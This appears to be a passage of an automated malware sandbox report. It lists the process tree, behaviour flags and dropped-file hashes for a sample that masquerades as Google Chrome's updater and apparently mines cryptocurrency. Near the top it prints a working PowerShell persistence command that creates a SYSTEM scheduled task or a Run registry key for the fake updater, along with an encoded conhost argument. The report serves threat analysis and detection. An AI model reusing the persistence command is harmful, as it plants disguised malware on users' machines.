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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4592
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1940
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3936
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3544
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1504
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:676
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4996
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4412
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 16KB
- SHA256 1231247ec1f54d1f055720437bcfc4dbf405a23109ab948612c000d8afe57794
- MD5 75370d36932c54348c774ecfdd1cc326
- SHA1 e40b507e926126cb6d11f07915159ba578f5729f
- SHA512 12b4d78b3d753686030fc49ce2f7f96d5aa03256ece50b6aec8a2a58812baa397fb68e73333905e94ed0e83089de56ed8cf276b257795879747d83edfb5b57a1
- SSDEEP 384:wSz/ROxnE88XJJvc4mOFBinXYfsOn8vTWj5pk/uEncgShTkn0A:w80qZz2da1pk/0RA
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 489KB
- SHA256 ab6e83e455a2b61009a5c391d93b98688a875a92ab67db6053418fac38f758f8
- MD5 287ce24c78587f09a4239d0c8678f610
- SHA1 bdd49a9fc37484ce851fe9d38715c6202935ac1b
- SHA512 fabfe32427a1d1d4aff49cb12fc3b7de41218bc8c387ff860273204fca52b897a435a9a0596a613269dde0f3d172d4ec6c2877ddcd0740493e9302b2fb324907
- SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVG:rWVipGdVZjdqVC5jd88FC3G
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
- MD5 77d622bb1a5b250869a3238b9bc1402b
- SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
- SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d17623f3ba80ca3603ea0a05129473793a097ef3f4f2311fa355eb7febfd58ff
- MD5 635e5996db28991f9b5105b5bee8fdca
- SHA1 65683134b81b1f994f1ceb16e00c979751569e2b
- SHA512 09f4062f6dcbd76922a5424055208e8f97f596bd56e4f607a003a5f05f936e6b968909e56b826d0d27a7aad534ccd57746029412d98e03867ecde532de3a3db0
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5vllclih.5yx.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512